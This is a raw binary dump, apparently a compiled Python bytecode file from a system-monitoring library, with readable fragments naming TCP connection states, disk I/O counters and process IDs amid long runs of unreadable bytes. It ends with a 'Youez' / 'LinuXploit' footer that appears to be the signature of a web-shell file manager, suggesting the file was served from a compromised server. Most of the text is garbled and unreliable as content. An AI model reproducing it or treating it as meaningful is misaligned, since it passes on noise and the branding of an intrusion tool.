CONN_LAST_ACK�MIB_TCP_STATE_LISTEN�CONN_LISTEN�MIB_TCP_STATE_CLOSING�CONN_CLOSING�MIB_TCP_STATE_DELETE_TCB�PSUTIL_CONN_NONE�	CONN_NONEr�r.�globalsrX�__members__r#r$r%r&r8r�r�r`rfrl�_fieldsrrrtr�rvrxr�r�r�r�r��disk_io_countersr�r�r�r�r�r�r�r�r�r�r�r�r�rrrrrr!r"r�pidsr�r�rFrirtr�r�r2r3r4�<module>rRs��
'����	�
�
��"���"�!�"�#��#��"��+�(�"������8�8�0�0�2�4��)�"���D�

��$�����S�-�-�-���<��G� �D�L�L��9�b�/�B�M��#�#�G�	���g�6�6�����!6�!6�����!6�!6�� � �'�"8�"8�� � �'�"8�"8�� � �'�"8�"8����w�1�1��!�!�7�#:�#:�����!6�!6����w�2�2����� 4� 4��!�!�?����7�,�,��� ��:�4�<�<�:��I���X�)�)�*��<��N��J��M��K��T�\�\���I���Z�+�+�,��
��
��
��
��	
�
�
��

��
��
��
��
��
��
��
��
�
�
� �!
�"�#
�$�%
�&�'
�(�)
�*�+
�,�-
�	�B
�{�E�
G�	�	�7�M�N���
�
5�6���j�$�,�,��":�;���?�V�U�O�<�
�������-�*?�*?�!@�@�
B�	���7�8���3��	0��	0�
5�	��	��
4�;�>�(�(��	:�4�	��$�
"�
�>���9�(�8�A��>�2���	�"O��@�@�^�y�y��
�_�_�
��=�=��
� �
��8U/�U/��a���C�����#�#�$5�6�!�C�!�!�#�A�&��*�D���K�K���)�)���3���
���s�<O>�>Q�AQ�Q

Youez - 2016 - github.com/yon3zu
LinuXploit